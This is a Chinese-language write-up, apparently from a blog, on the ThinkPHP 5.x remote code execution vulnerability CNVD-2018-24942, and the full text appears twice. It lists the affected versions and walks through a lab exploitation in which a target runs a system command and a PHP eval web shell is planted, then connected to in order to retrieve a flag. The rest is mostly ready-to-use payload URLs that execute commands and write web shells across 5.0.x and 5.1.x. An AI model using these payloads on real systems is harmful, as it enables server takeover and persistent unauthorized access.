thinkphp5x任意代碼執行漏洞(cnvd-2018-24942)
影響范圍
ThinkPHP 5.0.全版本
那就是這個漏洞並不通殺 筆者后續對比了官方多個發布的5.0版本,大概總結出如下結論
版本名 | 是否可被攻擊 | 攻擊條件 |
---|---|---|
5.0.0 | 否 | 無 |
5.0.1 | 否 | 無 |
5.0.2 | 否 | 無 |
5.0.3 | 否 | 無 |
5.0.4 | 否 | 無 |
5.0.5 | 否 | 無 |
5.0.6 | 否 | 無 |
5.0.7 | 否 | 無 |
5.0.8 | 是 | 無需開啟debug |
5.0.9 | 是 | 無需開啟debug |
5.0.10 | 是 | 無需開啟debug |
5.0.11 | 是 | 無需開啟debug |
5.0.12 | 是 | 無需開啟debug |
5.0.13 | 是 | 需開啟debug |
5.0.14 | 是 | 需開啟debug |
5.0.15 | 是 | 需開啟debug |
5.0.16 | 是 | 需開啟debug |
5.0.17 | 是 | 需開啟debug |
5.0.18 | 是 | 需開啟debug |
5.0.19 | 是 | 需開啟debug |
5.0.20 | 否 | 無 |
5.0.21 | 是 | 需開啟debug |
5.0.22 | 是 | 需開啟debug |
5.0.23 | 是 | 需開啟debug |
之前看很多人復現時選的版本是5.0.13~5.0.19的,這些版本默認情況下config中的app_debug配置項為false,這也是為什么很多人用payload都無法復現
//遠程代碼執行
http://118.193.36.37:30812/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
//這里我們上傳一句話
http://118.193.36.37:30812/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

這里我們上傳一句話
這里通過一句話連接靶機
然后我們進終端看下有沒有“奇奇怪怪”的文件。
這里我們在/root目錄下看到一個以前執行的文件
然后我們看見這邊有個flag
這就完成了,這邊我們引用下大佬的poc
兩個通殺payload
版本號:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
版本號:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
pay
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
寫shell:
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
然后總結下這邊POC 引用[莫者]大神的
原文鏈接:https://blog.csdn.net/weixin_40709439/article/details/86564457
thinkphp5x任意代碼執行漏洞(cnvd-2018-24942)
影響范圍
ThinkPHP 5.0.全版本
那就是這個漏洞並不通殺筆者后續對比了官方多個發布的5.0版本,大概總結出如下結論
版本名 | 是否可被攻擊 | 攻擊條件 |
---|---|---|
5.0.0 | 否 | 無 |
5.0.1 | 否 | 無 |
5.0.2 | 否 | 無 |
5.0.3 | 否 | 無 |
5.0.4 | 否 | 無 |
5.0.5 | 否 | 無 |
5.0.6 | 否 | 無 |
5.0.7 | 否 | 無 |
5.0.8 | 是 | 無需開啟debug |
5.0.9 | 是 | 無需開啟debug |
5.0.10 | 是 | 無需開啟debug |
5.0.11 | 是 | 無需開啟debug |
5.0.12 | 是 | 無需開啟debug |
5.0.13 | 是 | 需開啟debug |
5.0.14 | 是 | 需開啟debug |
5.0.15 | 是 | 需開啟debug |
5.0.16 | 是 | 需開啟debug |
5.0.17 | 是 | 需開啟debug |
5.0.18 | 是 | 需開啟debug |
5.0.19 | 是 | 需開啟debug |
5.0.20 | 否 | 無 |
5.0.21 | 是 | 需開啟debug |
5.0.22 | 是 | 需開啟debug |
5.0.23 | 是 | 需開啟debug |
之前看很多人復現時選的版本是5.0.13~5.0.19的,這些版本默認情況下config中的app_debug配置項為false,這也是為什么很多人用payload都無法復現
//遠程代碼執行
http://118.193.36.37:30812/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
//這里我們上傳一句話
http://118.193.36.37:30812/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
這里我們上傳一句話
這里通過一句話連接靶機
然后我們進終端看下有沒有“奇奇怪怪”的文件。
這里我們在/root目錄下看到一個以前執行的文件
然后我們看見這邊有個flag
這就完成了,這邊我們引用下大佬的poc
兩個通殺payload
版本號:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
版本號:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x php版本>5.5:
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
pay
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統命令
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
寫shell:
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
然后總結下這邊POC 引用[莫者]大神的
原文鏈接:https://blog.csdn.net/weixin_40709439/article/details/86564457